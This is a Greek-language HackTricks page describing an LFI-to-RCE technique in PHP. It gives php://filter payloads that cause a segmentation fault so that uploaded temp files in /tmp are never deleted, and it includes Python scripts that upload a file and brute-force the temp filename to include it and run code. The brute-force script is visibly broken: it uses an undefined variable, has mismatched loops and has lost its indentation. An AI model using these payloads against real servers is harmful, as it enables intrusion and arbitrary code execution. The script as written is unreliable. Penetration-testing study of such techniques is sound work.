LFI2RCE via Segmentation Fault

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστηρίξτε το HackTricks

Σύμφωνα με τα άρθρα https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (δεύτερο μέρος) και https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, οι παρακάτω φορτία προκάλεσαν segmentation fault στο PHP:

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Πρέπει να γνωρίζετε ότι εάν στείλετε ένα αίτημα POST περιέχοντας ένα αρχείο, το PHP θα δημιουργήσει ένα προσωρινό αρχείο στο /tmp/php<κάτι> με το περιεχόμενο του αρχείου αυτού. Αυτό το αρχείο θα διαγραφεί αυτόματα μόλις επεξεργαστείτε το αίτημα.

Εάν βρείτε ένα LFI και καταφέρετε να ενεργοποιήσετε ένα segmentation fault στο PHP, το προσωρινό αρχείο δεν θα διαγραφεί ποτέ. Επομένως, μπορείτε να το αναζητήσετε με την ευπάθεια LFI μέχρι να το βρείτε και να εκτελέσετε αυθαίρετο κώδικα.

Μπορείτε να χρησιμοποιήσετε την εικόνα docker https://hub.docker.com/r/easyengine/php7.0 για δοκιμές.

# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()

Μάθε & εξάσκησε στο Hacking του AWS:Εκπαίδευση HackTricks AWS Red Team Expert (ARTE) Μάθε & εξάσκησε στο Hacking του GCP: Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)

Υποστήριξε το HackTricks

Last updated